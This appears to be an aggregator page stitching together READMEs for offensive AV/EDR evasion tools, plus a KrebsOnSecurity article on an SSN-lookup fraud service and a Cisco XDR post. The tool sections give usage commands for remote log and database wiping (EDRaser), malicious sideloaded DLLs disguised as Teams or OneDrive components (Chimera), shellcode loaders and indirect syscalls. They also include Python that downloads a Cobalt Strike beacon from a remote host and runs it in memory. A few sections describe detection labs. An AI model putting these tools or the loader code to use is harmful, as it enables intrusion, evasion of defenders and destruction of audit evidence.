Login
BadExclusionsNWBO is an evolution from BadExclusions to identify folder custom or undocumented exclusions on AV/EDR.
BadExclusionsNWBO copies and runs Hook_Checker.exe in all folders and subfolders of a given path. You need to have Hook_Checker.exe on the same folder of BadExclusionsNWBO.exe.
Hook_Checker.exe returns the number of EDR hooks. If the number of hooks is 7 or less means folder has an exclusion otherwise the folder is not excluded.
Since the release of BadExclusions I've been thinking on how to achieve the same results without creating that many noise. The solution came from another tool, https://github.com/asaurusrex/Probatorum-EDR-Userland-Hook-Checker.
If you download Probatorum-EDR-Userland-Hook-Checker and you run it inside a regular folder and on folder with an specific type of exclusion you will notice a huge difference. All the information is on the Probatorum repository.
Each vendor apply exclusions on a different way. In order to get the list of folder exclusions an specific type of exclusion should be made. Not all types of exclusion and not all the vendors remove the hooks when they exclude a folder.
The user who runs BadExclusionsNWBO needs write permissions on the excluded folder in order to write Hook_Checker file and get the results.
https://github.com/iamagarre/BadExclusionsNWBO/assets/89855208/46982975-f4a5-4894-b78d-8d6ed9b1c8c4
CrimsonEDR is an open-source project engineered to identify specific malware patterns, offering a tool for honing skills in circumventing Endpoint Detection and Response (EDR). By leveraging diverse detection methods, it empowers users to deepen their understanding of security evasion tactics.
| Detection | Description |
|---|---|
| Direct Syscall | Detects the usage of direct system calls, often employed by malware to bypass traditional API hooks. |
| NTDLL Unhooking | Identifies attempts to unhook functions within the NTDLL library, a common evasion technique. |
| AMSI Patch | Detects modifications to the Anti-Malware Scan Interface (AMSI) through byte-level analysis. |
| ETW Patch | Detects byte-level alterations to Event Tracing for Windows (ETW), commonly manipulated by malware to evade detection. |
| PE Stomping | Identifies instances of PE (Portable Executable) stomping. |
| Reflective PE Loading | Detects the reflective loading of PE files, a technique employed by malware to avoid static analysis. |
| Unbacked Thread Origin | Identifies threads originating from unbacked memory regions, often indicative of malicious activity. |
| Unbacked Thread Start Address | Detects threads with start addresses pointing to unbacked memory, a potential sign of code injection. |
| API hooking | Places a hook on the NtWriteVirtualMemory function to monitor memory modifications. |
| Custom Pattern Search | Allows users to search for specific patterns provided in a JSON file, facilitating the identification of known malware signatures. |
To get started with CrimsonEDR, follow these steps:
FreshRSS 
bash sudo apt-get install gcc-mingw-w64-x86-64
bash git clone https://github.com/Helixo32/CrimsonEDR
bash cd CrimsonEDR; chmod +x compile.sh; ./compile.sh
Windows Defender and other antivirus programs may flag the DLL as malicious due to its content containing bytes used to verify if the AMSI has been patched. Please ensure to whitelist the DLL or disable your antivirus temporarily when using CrimsonEDR to avoid any interruptions.
To use CrimsonEDR, follow these steps:
ioc.json file is placed in the current directory from which the executable being monitored is launched. For example, if you launch your executable to monitor from C:\Users\admin\, the DLL will look for ioc.json in C:\Users\admin\ioc.json. Currently, ioc.json contains patterns related to msfvenom. You can easily add your own in the following format:{
"IOC": [
["0x03", "0x4c", "0x24", "0x08", "0x45", "0x39", "0xd1", "0x75"],
["0xf1", "0x4c", "0x03", "0x4c", "0x24", "0x08", "0x45", "0x39"],
["0x58", "0x44", "0x8b", "0x40", "0x24", "0x49", "0x01", "0xd0"],
["0x66", "0x41", "0x8b", "0x0c", "0x48", "0x44", "0x8b", "0x40"],
["0x8b", "0x0c", "0x48", "0x44", "0x8b", "0x40", "0x1c", "0x49"],
["0x01", "0xc1", "0x38", "0xe0", "0x75", "0xf1", "0x4c", "0x03"],
["0x24", "0x49", "0x01", "0xd0", "0x66", "0x41", "0x8b", "0x0c"],
["0xe8", "0xcc", "0x00", "0x00", "0x00", "0x41", "0x51", "0x41"]
]
}
Execute CrimsonEDRPanel.exe with the following arguments:
-d <path_to_dll>: Specifies the path to the CrimsonEDR.dll file.
-p <process_id>: Specifies the Process ID (PID) of the target process where you want to inject the DLL.
For example:
.\CrimsonEDRPanel.exe -d C:\Temp\CrimsonEDR.dll -p 1234
Here are some useful resources that helped in the development of this project:
For questions, feedback, or support, please reach out to me via:
Little AV/EDR Evasion Lab for training & learning purposes. (️ under construction..)
____ _ _____ ____ ____ ___ __ _____ _
| __ ) ___ ___| |_ | ____| _ \| _ \ / _ \ / _| |_ _| |__ ___
| _ \ / _ \/ __| __| | _| | | | | |_) | | | | | |_ | | | '_ \ / _ \
| |_) | __/\__ \ |_ | |___| |_| | _ < | |_| | _| | | | | | | __/
|____/_\___||___/\__| |_____|____/|_| \_\ \___/|_| |_| |_| |_|\___|
| \/ | __ _ _ __| | _____| |_
| |\/| |/ _` | '__| |/ / _ \ __|
| | | | (_| | | | < __/ |_ Yazidou - github.com/Xacone
|_| |_|\__,_|_| |_|\_\___|\__|
BestEDROfTheMarket is a naive user-mode EDR (Endpoint Detection and Response) project, designed to serve as a testing ground for understanding and bypassing EDR's user-mode detection methods that are frequently used by these security solutions.
These techniques are mainly based on a dynamic analysis of the target process state (memory, API calls, etc.),
Feel free to check this short article I wrote that describe the interception and analysis methods implemented by the EDR.
In progress:
Usage: BestEdrOfTheMarket.exe [args]
/help Shows this help message and quit
/v Verbosity
/iat IAT hooking
/stack Threads call stack monitoring
/nt Inline Nt-level hooking
/k32 Inline Kernel32/Kernelbase hooking
/ssn SSN crushing
BestEdrOfTheMarket.exe /stack /v /k32
BestEdrOfTheMarket.exe /stack /nt
BestEdrOfTheMarket.exe /iat
One of the cybercrime underground’s more active sellers of Social Security numbers, background and credit reports has been pulling data from hacked accounts at the U.S. consumer data broker USinfoSearch, KrebsOnSecurity has learned.
Since at least February 2023, a service advertised on Telegram called USiSLookups has operated an automated bot that allows anyone to look up the SSN or background report on virtually any American. For prices ranging from $8 to $40 and payable via virtual currency, the bot will return detailed consumer background reports automatically in just a few moments.
USiSLookups is the project of a cybercriminal who uses the nicknames JackieChan/USInfoSearch, and the Telegram channel for this service features a small number of sample background reports, including that of President Joe Biden, and podcaster Joe Rogan. The data in those reports includes the subject’s date of birth, address, previous addresses, previous phone numbers and employers, known relatives and associates, and driver’s license information.
JackieChan’s service abuses the name and trademarks of Columbus, OH based data broker USinfoSearch, whose website says it provides “identity and background information to assist with risk management, fraud prevention, identity and age verification, skip tracing, and more.”
“We specialize in non-FCRA data from numerous proprietary sources to deliver the information you need, when you need it,” the company’s website explains. “Our services include API-based access for those integrating data into their product or application, as well as bulk and batch processing of records to suit every client.”
As luck would have it, my report was also listed in the Telegram channel for this identity fraud service, presumably as a teaser for would-be customers. On October 19, 2023, KrebsOnSecurity shared a copy of this file with the real USinfoSearch, along with a request for information about the provenance of the data.
USinfoSearch said it would investigate the report, which appears to have been obtained on or before June 30, 2023. On Nov. 9, 2023, Scott Hostettler, general manager of USinfoSearch parent Martin Data LLC shared a written statement about their investigation that suggested the ID theft service was trying to pass off someone else’s consumer data as coming from USinfoSearch:
Regarding the Telegram incident, we understand the importance of protecting sensitive information and upholding the trust of our users is our top priority. Any allegation that we have provided data to criminals is in direct opposition to our fundamental principles and the protective measures we have established and continually monitor to prevent any unauthorized disclosure. Because Martin Data has a reputation for high-quality data, thieves may steal data from other sources and then disguise it as ours. While we implement appropriate safeguards to guarantee that our data is only accessible by those who are legally permitted, unauthorized parties will continue to try to access our data. Thankfully, the requirements needed to pass our credentialing process is tough even for established honest companies.
USinfoSearch’s statement did not address any questions put to the company, such as whether it requires multi-factor authentication for customer accounts, or whether my report had actually come from USinfoSearch’s systems.
After much badgering, on Nov. 21 Hostettler acknowledged that the USinfoSearch identity fraud service on Telegram was in fact pulling data from an account belonging to a vetted USinfoSearch client.
“I do know 100% that my company did not give access to the group who created the bots, but they did gain access to a client,” Hostettler said of the Telegram-based identity fraud service. “I apologize for any inconvenience this has caused.”
Hostettler said USinfoSearch heavily vets any new potential clients, and that all users are required to undergo a background check and provide certain documents. Even so, he said, several fraudsters each month present themselves as credible business owners or C-level executives during the credentialing process, completing the application and providing the necessary documentation to open a new account.
“The level of skill and craftsmanship demonstrated in the creation of these supporting documents is incredible,” Hostettler said. “The numerous licenses provided appear to be exact replicas of the original document. Fortunately, I’ve discovered several methods of verification that do not rely solely on those documents to catch the fraudsters.”
“These people are unrelenting, and they act without regard for the consequences,” Hostettler continued. “After I deny their access, they will contact us again within the week using the same credentials. In the past, I’ve notified both the individual whose identity is being used fraudulently and the local police. Both are hesitant to act because nothing can be done to the offender if they are not apprehended. That is where most attention is needed.”
JackieChan is most active on Telegram channels focused on “SIM swapping,” which involves bribing or tricking mobile phone company employees into redirecting a target’s phone number to a device the attackers control. SIM swapping allows crooks to temporarily intercept the target’s text messages and phone calls, including any links or one-time codes for authentication that are delivered via SMS.
Reached on Telegram, JackieChan said most of his clients hail from the criminal SIM swapping world, and that the bulk of his customers use his service via an application programming interface (API) that allows customers to integrate the lookup service with other web-based services, databases, or applications.
“Sim channels is where I get most of my customers,” JackieChan told KrebsOnSecurity. “I’m averaging around 100 lookups per day on the [Telegram] bot, and around 400 per day on the API.”
JackieChan claims his USinfoSearch bot on Telegram abuses stolen credentials needed to access an API used by the real USinfoSearch, and that his service was powered by USinfoSearch account credentials that were stolen by malicious software tied to a botnet that he claims to have operated for some time.
This is not the first time USinfoSearch has had trouble with identity thieves masquerading as legitimate customers. In 2013, KrebsOnSecurity broke the news that an identity fraud service in the underground called “SuperGet[.]info” was reselling access to personal and financial data on more than 200 million Americans that was obtained via the big-three credit bureau Experian.
The consumer data resold by Superget was not obtained directly from Experian, but rather via USinfoSearch. At the time, USinfoSearch had a contractual agreement with a California company named Court Ventures, whereby customers of Court Ventures had access to the USinfoSearch data, and vice versa.
When Court Ventures was purchased by Experian in 2012, the proprietor of SuperGet — a Vietnamese hacker named Hieu Minh Ngo who had impersonated an American private investigator — was grandfathered in as a client. The U.S. Secret Service agent who oversaw Ngo’s capture, extradition, prosecution and rehabilitation told KrebsOnSecurity he’s unaware of any other cybercriminal who has caused more material financial harm to more Americans than Ngo.
JackieChan also sells access to hacked email accounts belonging to law enforcement personnel in the United States and abroad. Hacked police department emails can come in handy for ID thieves trying to pose as law enforcement officials who wish to purchase consumer data from platforms like USinfoSearch. Hence, Mr. Hostettler’s ongoing battle with fraudsters seeking access to his company’s service.
These police credentials are mainly marketed to criminals seeking fraudulent “Emergency Data Requests,” wherein crooks use compromised government and police department email accounts to rapidly obtain customer account data from mobile providers, ISPs and social media companies.
Normally, these companies will require law enforcement officials to supply a subpoena before turning over customer or user records. But EDRs allow police to bypass that process by attesting that the information sought is related to an urgent matter of life and death, such as an impending suicide or terrorist attack.
In response to an alarming increase in the volume of fraudulent EDRs, many service providers have chosen to require all EDRs be processed through a service called Kodex, which seeks to filter EDRs based on the reputation of the law enforcement entity requesting the information, and other attributes of the requestor.
For example, if you want to send an EDR to Coinbase or Twilio, you’ll first need to have valid law enforcement credentials and create an account at the Kodex online portal at these companies. However, Kodex may still throttle or block any requests from any accounts if they set off certain red flags.
Within their own separate Kodex portals, Twilio can’t see requests submitted to Coinbase, or vice versa. But each can see if a law enforcement entity or individual tied to one of their own requests has ever submitted a request to a different Kodex client, and then drill down further into other data about the submitter, such as Internet address(es) used, and the age of the requestor’s email address.
In August, JackieChan was advertising a working Kodex account for sale on the cybercrime channels, including redacted screenshots of the Kodex account dashboard as proof of access.
Kodex co-founder Matt Donahue told KrebsOnSecurity his company immediately detected that the law enforcement email address used to create the Kodex account pictured in JackieChan’s ad was likely stolen from a police officer in India. One big tipoff, Donahue said, was that the person creating the account did so using an Internet address in Brazil.
“There’s a lot of friction we can put in the way for illegitimate actors,” Donahue said. “We don’t let people use VPNs. In this case we let them in to honeypot them, and that’s how they got that screenshot. But nothing was allowed to be transmitted out from that account.”
Massive amounts of data about you and your personal history are available from USinfoSearch and dozens of other data brokers that acquire and sell “non-FCRA” data — i.e., consumer data that cannot be used for the purposes of determining one’s eligibility for credit, insurance, or employment.
Anyone who works in or adjacent to law enforcement is eligible to apply for access to these data brokers, which often market themselves to police departments and to “skip tracers,” essentially bounty hunters hired to locate others in real life — often on behalf of debt collectors, process servers or a bail bondsman.
There are tens of thousands of police jurisdictions around the world — including roughly 18,000 in the United States alone. And the harsh reality is that all it takes for hackers to apply for access to data brokers (and abuse the EDR process) is illicit access to a single police email account.
The trouble is, compromised credentials to law enforcement email accounts show up for sale with alarming frequency on the Telegram channels where JackieChan and their many clients reside. Indeed, Donahue said Kodex so far this year has identified attempted fake EDRs coming from compromised email accounts for police departments in India, Italy, Thailand and Turkey.
ModuleShifting is stealthier variation of Module Stomping and Module overloading injection technique. It is actually implemented in Python ctypes so that it can be executed fully in memory via a Python interpreter and Pyramid, thus avoiding the usage of compiled loaders.
The technique can be used with PE or shellcode payloads, however, the stealthier variation is to be used with shellcode payloads that need to be functionally independent from the final payload that the shellcode is loading.
ModuleShifting, when used with shellcode payload, is performing the following operations:
When using a PE payload, ModuleShifting will perform the following operation:
ModuleShifting can be used to inject a payload without dynamically allocating memory (i.e. VirtualAlloc) and compared to Module Stomping and Module Overloading is stealthier because it decreases the amount of IoCs generated by the injection technique itself.
There are 3 main differences between Module Shifting and some public implementations of Module stomping (one from Bobby Cooke and WithSecure)
The differences between Module Shifting and Module Overloading are the following:
Using a functionally independent shellcode payload such as an AceLdr Beacon Stageless shellcode payload, ModuleShifting is able to locally inject without dynamically allocating memory and at the moment generating zero IoC on a Moneta and PE-Sieve scan. I am aware that the AceLdr sleeping payloads can be caught with other great tools such as Hunt-Sleeping-Beacon, but the focus here is on the injection technique itself, not on the payload. In our case what is enabling more stealthiness in the injection is the shellcode functional independence, so that the written malicious bytes can be restored to its original content, effectively erasing the traces of the injection.
All information and content is provided for educational purposes only. Follow instructions at your own risk. Neither the author nor his employer are responsible for any direct or consequential damage or loss arising from any person or organization.
This work has been made possible because of the knowledge and tools shared by incredible people like Aleksandra Doniec @hasherezade, Forest Orr and Kyle Avery. I heavily used Moneta, PeSieve, PE-Bear and AceLdr throughout all my learning process and they have been key for my understanding of this topic.
ModuleShifting can be used with Pyramid and a Python interpreter to execute the local process injection fully in-memory, avoiding compiled loaders.
git clone https://github.com/naksyn/Pyramid
python3 pyramid.py -u testuser -pass testpass -p 443 -enc chacha20 -passenc superpass -generate -server 192.168.1.2 -setcradle moduleshifting.py
To successfully execute this technique you should use a shellcode payload that is capable of loading an additional self-sustainable payload in another area of memory. ModuleShifting has been tested with AceLdr payload, which is capable of loading an entire copy of Beacon on the heap, so breaking the functional dependency with the initial shellcode. This technique would work with any shellcode payload that has similar capabilities. So the initial shellcode becomes useless once executed and there's no reason to keep it in memory as an IoC.
A hosting dll with enough space for the shellcode on the targeted section should also be chosen, otherwise the technique will fail.
Module Stomping and Module Shifting need to write shellcode on a legitimate dll memory space. ModuleShifting will eliminate this IoC after the cleanup phase but indicators could be spotted by scanners with realtime inspection capabilities.
EDRaser is a powerful tool for remotely deleting access logs, Windows event logs, databases, and other files on remote machines. It offers two modes of operation: automated and manual.
In automated mode, EDRaser scans the C class of a given address space of IPs for vulnerable systems and attacks them automatically. The attacks in auto mode are:
To use EDRaser in automated mode, follow these steps:
python edraser.py --auto
In manual mode, you can select specific attacks to launch against a targeted system, giving you greater control. Note that some attacks, such as VMX deletion, are for local machine only.
To use EDRaser in manual mode, you can use the following syntax:
python edraser.py --ip <ip_addr> --attack <attack_name> [--sigfile <signature file>]
Arguments:
--ip: scan IP addresses in the specified range and attack vulnerable systems (default: localhost).--sigfile: use the specified encrypted signature DB (default: signatures.db).--attack: attack to be executed. The following attacks are available: ['vmx', 'vmdk', 'windows_security_event_log_remote', 'windows_application_event_log_local', 'syslog', 'access_logs', 'remote_db', 'local_db', 'remote_db_webserver']Optional arguments:
port : port of remote machinedb_username: the username of the remote DB.db_password: the password of the remote DB.db_type: type of the DB, EDRaser supports mysql, sqlite. (# Note that for sqlite, no username\password is needed)db_name: the name of remote DB to be connected totable_name: the name of remote table to be connected torpc_tools: path to the VMware rpc_toolsExample:
python edraser.py --attack windows_event_log --ip 192.168.1.133
python EDRaser.py -attack remote_db -db_type mysql -db_username test_user -db_password test_password -ip 192.168.1.10
You can bring up a web interface for inserting and viewing a remote DB. it can be done by the following command: EDRaser.py -attack remote_db_webserver -db_type mysql -db_username test_user -db_password test_password -ip 192.168.1.10
This will bring up a web server on the localhost:8080 address, it will allow you to view & insert data to a remote given DB. This feature is designed to give an example of a "Real world" scenario where you have a website that you enter data into it and it keeps in inside a remote DB, You can use this feature to manually insert data into a remote DB.
In manual mode, EDRaser displays a list of available attacks. Here's a brief description of each attack:
While DLL sideloading can be used for legitimate purposes, such as loading necessary libraries for a program to function, it can also be used for malicious purposes. Attackers can use DLL sideloading to execute arbitrary code on a target system, often by exploiting vulnerabilities in legitimate applications that are used to load DLLs.
To automate the DLL sideloading process and make it more effective, Chimera was created a tool that include evasion methodologies to bypass EDR/AV products. These tool can automatically encrypt a shellcode via XOR with a random key and create template Images that can be imported into Visual Studio to create a malicious DLL.
Also Dynamic Syscalls from SysWhispers2 is used and a modified assembly version to evade the pattern that the EDR search for, Random nop sleds are added and also registers are moved. Furthermore Early Bird Injection is also used to inject the shellcode in another process which the user can specify with Sandbox Evasion mechanisms like HardDisk check & if the process is being debugged. Finally Timing attack is placed in the loader which using waitable timers to delay the execution of the shellcode.
This tool has been tested and shown to be effective at bypassing EDR/AV products and executing arbitrary code on a target system.
Chimera is written in python3 and there is no need to install any extra dependencies.
Chimera currently supports two DLL options either Microsoft teams or Microsoft OneDrive.
Someone can create userenv.dll which is a missing DLL from Microsoft Teams and insert it to the specific folder to
%USERPROFILE%/Appdata/local/Microsoft/Teams/current
For Microsoft OneDrive the script uses version DLL which is common because its missing from the binary example onedriveupdater.exe
python3 ./chimera.py met.bin chimera_automation notepad.exe teams
python3 ./chimera.py met.bin chimera_automation notepad.exe onedrive
Once the compilation process is complete, a DLL will be generated, which should include either "version.dll" for OneDrive or "userenv.dll" for Microsoft Teams. Next, it is necessary to rename the original DLLs.
For instance, the original "userenv.dll" should be renamed as "tmpB0F7.dll," while the original "version.dll" should be renamed as "tmp44BC.dll." Additionally, you have the option to modify the name of the proxy DLL as desired by altering the source code of the DLL exports instead of using the default script names.
Step 1: Creating a New Visual Studio Project with DLL Template
Step 2: Importing Images into the Visual Studio Project
Step 3: Build Customization
Step 4: Enable MASM
Step 5:
Step 1: Change optimization
Step 2: Remove Debug Information's
To the maximum extent permitted by applicable law, myself(George Sotiriadis) and/or affiliates who have submitted content to my repo, shall not be liable for any indirect, incidental, special, consequential or punitive damages, or any loss of profits or revenue, whether incurred directly or indirectly, or any loss of data, use, goodwill, or other intangible losses, resulting from (i) your access to this resource and/or inability to access this resource; (ii) any conduct or content of any third party referenced by this resource, including without limitation, any defamatory, offensive or illegal conduct or other users or third parties; (iii) any content obtained from this resource
https://evasions.checkpoint.com/
https://github.com/Flangvik/SharpDllProxy
https://github.com/jthuraisamy/SysWhispers2
https://github.com/Mr-Un1k0d3r
"Python memory module" AI generated pic - hotpot.ai
pure-python implementation of MemoryModule technique to load a dll or unmanaged exe entirely from memory
PythonMemoryModule is a Python ctypes porting of the MemoryModule technique originally published by Joachim Bauch. It can load a dll or unmanaged exe using Python without requiring the use of an external library (pyd). It leverages pefile to parse PE headers and ctypes.
The tool was originally thought to be used as a Pyramid module to provide evasion against AV/EDR by loading dll/exe payloads in python.exe entirely from memory, however other use-cases are possible (IP protection, pyds in-memory loading, spinoffs for other stealthier techniques) so I decided to create a dedicated repo.
In the following example a Cobalt Strike stageless beacon dll is downloaded (not saved on disk), loaded in memory and started by calling the entrypoint.
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()Note: if you use staging in your malleable profile the dll would not be able to load with LoadLibrary, hence MemoryModule won't work.
Using the MemoryModule technique will mostly respect the sections' permissions of the target DLL and avoid the noisy RWX approach. However within the program memory there will be a private commit not backed by a dll on disk and this is a MemoryModule telltale.
Acheron is a library inspired by SysWhisper3/FreshyCalls/RecycledGate, with most of the functionality implemented in Go assembly.
acheron package can be used to add indirect syscall capabilities to your Golang tradecraft, to bypass AV/EDRs that makes use of usermode hooks and instrumentation callbacks to detect anomalous syscalls that don't return to ntdll.dll, when the call transition back from kernel->userland.
The following steps are performed when creating a new syscall proxy instance:
Zw* functionsyscall;ret gadgets in ntdll.dll, to be used as trampolinesIntegrating acheron into your offsec tools is pretty easy. You can install the package with:
go get -u github.com/f1zm0/acheronThen just need to call acheron.New() to create a syscall proxy instance and use acheron.Syscall() to make an indirect syscall for Nt* APIs.
Minimal example:
package main
import (
"fmt"
"unsafe"
"github.com/f1zm0/acheron"
)
func main() {
var (
baseAddr uintptr
hSelf = uintptr(0xffffffffffffffff)
)
// creates Acheron instance, resolves SSNs, collects clean trampolines in ntdll.dlll, etc.
ach, err := acheron.New()
if err != nil {
panic(err)
}
// indirect syscall for NtAllocateVirtualMemory
s1 := ach.HashString("NtAllocateVirtualMemory")
if retcode, err := ach.Syscall(
s1, // function name hash
hSelf, // arg1: _In_ HANDLE ProcessHandle,
uintptr(unsafe.Pointer(&baseAddr)), // arg2: _Inout_ PVOID *BaseAddress,
uintptr(unsafe.Pointer(nil)), // arg3: _In_ ULONG_PTR ZeroBits,
0x1000, // arg4: _Inout_ PSIZE_T RegionSize,
windows.MEM_COMMIT|windows.MEM_RESERVE, // arg5: _In_ ULONG AllocationType,
windows.PAGE_EXECUTE_READWRITE, // arg6: _In_ ULONG Protect
); err != nil {
panic(err)
}
fmt.Printf(
"allocated memory with NtAllocateVirtualMemory (status: 0x%x)\n",
retcode,
)
// ...
}The following examples are included in the repository:
| Example | Description |
|---|---|
| sc_inject | Extremely simple process injection PoC, with support for both direct and indirect syscalls |
| process_snapshot | Using indirect syscalls to take process snapshots with syscalls |
| custom_hashfunc | Example of custom encoding/hashing function that can be used with acheron |
Other projects that use acheron:
Contributions are welcome! Below are some of the things that it would be nice to have in the future:
If you have any suggestions or ideas, feel free to open an issue or a PR.
The name is a reference to the Acheron river in Greek mythology, which is the river where souls of the dead are carried to the underworld.
Note
This project uses semantic versioning. Minor and patch releases should not break compatibility with previous versions. Major releases will only be used for major changes that break compatibility with previous versions.
Warning
This project has been created for educational purposes only. Don't use it to on systems you don't own. The developer of this project is not responsible for any damage caused by the improper usage of the library.
This project is licensed under the MIT License - see the LICENSE file for details
Hades is a proof of concept loader that combines several evasion technques with the aim of bypassing the defensive mechanisms commonly used by modern AV/EDRs.
The easiest way, is probably building the project on Linux using make.
git clone https://github.com/f1zm0/hades && cd hades
makeThen you can bring the executable to a x64 Windows host and run it with .\hades.exe [options].
PS > .\hades.exe -h
'||' '||' | '||''|. '||''''| .|'''.|
|| || ||| || || || . ||.. '
||''''|| | || || || ||''| ''|||.
|| || .''''|. || || || . '||
.||. .||. .|. .||. .||...|' .||.....| |'....|'
version: dev [11/01/23] :: @f1zm0
Usage:
hades -f <filepath> [-t selfthread|remotethread|queueuserapc]
Options:
-f, --file <str> shellcode file path (.bin)
-t, --technique <str> injection technique [selfthread, remotethread, queueuserapc]
Inject shellcode that spawms calc.exe with queueuserapc technique:
.\hades.exe -f calc.bin -t queueuserapc
User-mode hooking bypass with syscall RVA sorting (NtQueueApcThread hooked with frida-trace and custom handler)
Instrumentation callback bypass with indirect syscalls (injected DLL is from syscall-detect by jackullrich)
In the latest release, direct syscall capabilities have been replaced by indirect syscalls provided by acheron. If for some reason you want to use the previous version of the loader that used direct syscalls, you need to explicitly pass the direct_syscalls tag to the compiler, which will figure out what files needs to be included and excluded from the build.
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -tags='direct_syscalls' -o dist/hades_directsys.exe cmd/hades/main.go
Warning
This project has been created for educational purposes only, to experiment with malware dev in Go, and learn more about the unsafe package and the weird Go Assembly syntax. Don't use it to on systems you don't own. The developer of this project is not responsible for any damage caused by the improper use of this tool.
Shoutout to the following people that shared their knowledge and code that inspired this tool:
This project is licensed under the GPLv3 License - see the LICENSE file for details
PoC Implementation of a fully dynamic call stack spoofer
SilentMoonwalk is a PoC implementation of a fully dynamic call stack spoofer, implementing a technique to remove the original caller from the call stack, using ROP to desynchronize unwinding from control flow.
This PoC is the result of a joint research done on the topic of stack spoofing. The authors of the research are:
I want to stress that this work would have been impossible without the work of Waldo-IRC and Trickster0, which both contributed to the early stages of the PoC, and to the research behind the PoC.
This repository demonstrates a PoC implementation to spoof the call stack when calling arbitrary Windows APIs.
This attempt was inspired by this Twitter thread, and this Twitter thread, where sensei namazso showed and suggested to extend the stack unwinding approach with a ROP chain to both desynchronize the unwinding from real control flow and restore the original stack afterwards.
This PoC attempts to do something similar to the above, and uses a desync stack to completely hide the original call stack, also removing the EXE image base from it. Upon return, a ROP gadget is invoked to restore the original stack. In the code, this process is repeated 10 times in a loop, using different frames at each iteration, to prove stability.
The tool currently supports 2 modes, where one is actually a wrong patch to a non-working pop RBP frame identified, which operates by shifting the current RSP and adding two fake frames to the call stack. As it operates using synthetic frames, I refer to this mode as "SYNTHETIC".
When selecting the frame that unwinds by popping the RBP register from the stack, the tool might select an unsuitable frame, ending up in an abruptly cut call stack, as observable below.
A silly solution to the problem would be to create two fake frames and link them back to the cut call stack. This would create a sort of apparently legit call stack, even without a suitable frame which unwinds calling POP RBP, but:
The result of the _synthetic spoof can be observed in the image below:
Figure 1: Windows 10 - Apparently Legit, non unwoundable call stack whereby the EXE module was completely removed (calling no parameters function getchar)
Note: This operation mode is disabled by default. To enable this mode, change the CALLSTACK_TYPE to 1
This mode is the right solution to the above problem, whereby the non-suitable frame is simply replaced by another, suitable one.
Figure 2: Windows 10 - Legit, unwoundable call stack whereby the EXE module was completely removed (calling 4 parameters function MessageBoxA)
In the repository, you can find also a little util to inspect runtime functions, which might be useful to analyse runtime function entries.
UnwindInspector.exe -h
Unwind Inspector v0.100000
Mandatory args:
-m <module>: Target DLL
-f <function>: Target Function
-a <function-address>: Target Function Address
Sample Output:
UnwindInspector.exe -m kernelbase -a 0x7FFAAE12182C
[*] Using function address 0x7ffaae12182c
Runtime Function (0x000000000000182C, 0x00000000000019ED)
Unwind Info Address: 0x000000000026AA88
Version: 0
Ver + Flags: 00000000
SizeOfProlog: 0x1f
CountOfCodes: 0xc
FrameRegister: 0x0
FrameOffset: 0x0
UnwindCodes:
[00h] Frame: 0x741f - 0x04 - UWOP_SAVE_NONVOL (RDI, 0x001f)
[01h] Frame: 0x0015 - 0x00 - UWOP_PUSH_NONVOL (RAX, 0x0015)
[02h] Frame: 0x641f - 0x04 - UWOP_SAVE_NONVOL (RSI, 0x001f)
[03h] Frame: 0x0014 - 0x00 - UWOP_PUSH_NONVOL (RAX, 0x0014)
[04h] Frame: 0x341f - 0x04 - UWOP_SAVE_NONVOL (RBX, 0x001f)
[05h] Frame: 0x0012 - 0x00 - UWOP_PUSH_NONVOL (RAX, 0x0012)
[06h] Frame: 0xb21f - 0x02 - UWOP_ALLOC_SMALL (R11, 0x001f)
[07h] Frame: 0xf018 - 0x00 - UWOP_PUSH_NONVOL (R15, 0x0018)
[0 8h] Frame: 0xe016 - 0x00 - UWOP_PUSH_NONVOL (R14, 0x0016)
[09h] Frame: 0xd014 - 0x00 - UWOP_PUSH_NONVOL (R13, 0x0014)
[0ah] Frame: 0xc012 - 0x00 - UWOP_PUSH_NONVOL (R12, 0x0012)
[0bh] Frame: 0x5010 - 0x00 - UWOP_PUSH_NONVOL (RBP, 0x0010)
In order to build the POC and observe a similar behaviour to the one in the picture, ensure to:
/GS-)/Od)/GL)/Os, /Ot)/Oi)It's worth mentioning previous work done on this topic, which built the foundation of this work.
Cybersecurity attacks complication and damaging impact are always keeping SOC analyst at their edge. Extended Detection and Response (XDR) solutions tend to simplify for Sam, a SOC analyst, his job by simplifying the workflow and process that involve the lifecycle of a threat investigation from detection to response. In this post we will explore how SecureX, Secure Cloud Analytics (NDR), Secure Endpoint (EDR) with their seamless integration accelerate the ability to achieve XDR outcomes.
One of the first challenges for Sam is alert fatigue. With the overwhelming number of alerts coming from multiple sources and the lack of relevance or correlation, decreases the value of these alerts to the point that they become as meaningless as having none. To counter this effect, Cisco Secure Cloud Analytics and Cisco Secure Endpoint limit alert promotion to SecureX to only include high fidelity alerts with critical severity and marking them as High Impact incidents within SecureX Incident manager.
This capability reduces the noise coming from the source, while keeping the other alerts available for investigation, putting impactful incidents at the top of Sam’s to do list. Now, Sam is confident that his time is spent in a prioritized manner and helps ensure he is tackling the most important threats first. Automatic incident provisioning accelerates incident response by bringing focus on the most impactful incidents.
Understanding the mechanics and data around a specific incident is a key factor for Remi, an incident responder, in his day-to-day work. Achieving his tasks accurately is tightly coupled with his ability to scope and understand the impact of an incident and to gather all possible data from the environment which can be associated with an incident including devices, users, files hashes, email ids, domains IPs and others. SecureX Incident Manager’s automatic enrichment capability completes this data collection for high impact incidents automatically. The data is then classified into targets, observables, and indicators and added to the incident to help the analyst better understand the incident’s scope and potential impact.
The Incident Manager and automatic enrichment provides Remi with crucial information such as the associated MITRE Tactics and Techniques applied during this incident, the contributing threat vectors, and security solutions. In addition, the Incident Manager aggregates events from multiple sources into the same high impact incident that the enrichment was triggered on future providing Remi with more vital context.
This automatic enrichment for high impact incidents is essential to Remi’s understanding as much as possible about an incident as it occurs and significantly accelerates him identifying the proper response for the threat. This brings us to the next step in our incident detection to response workflow.
It is important for an XDR to correlate the right information for the Security Analyst and incident responder to understand an attack but it is equally important to provide an effective response mechanism. This is exactly what SecureX provides with the ability to apply a response to an observable with a simple a single click or through automation.
These workflows can be invoked to block a domain, IP or URL across a full environment with a simple click, leveraging existing integrations such as firewalls or umbrella and others. Workflows can be made available to the threat response pivot menu where they are useful for performing specific host specific actions, such as isolate a host, take a host snapshot, and more.
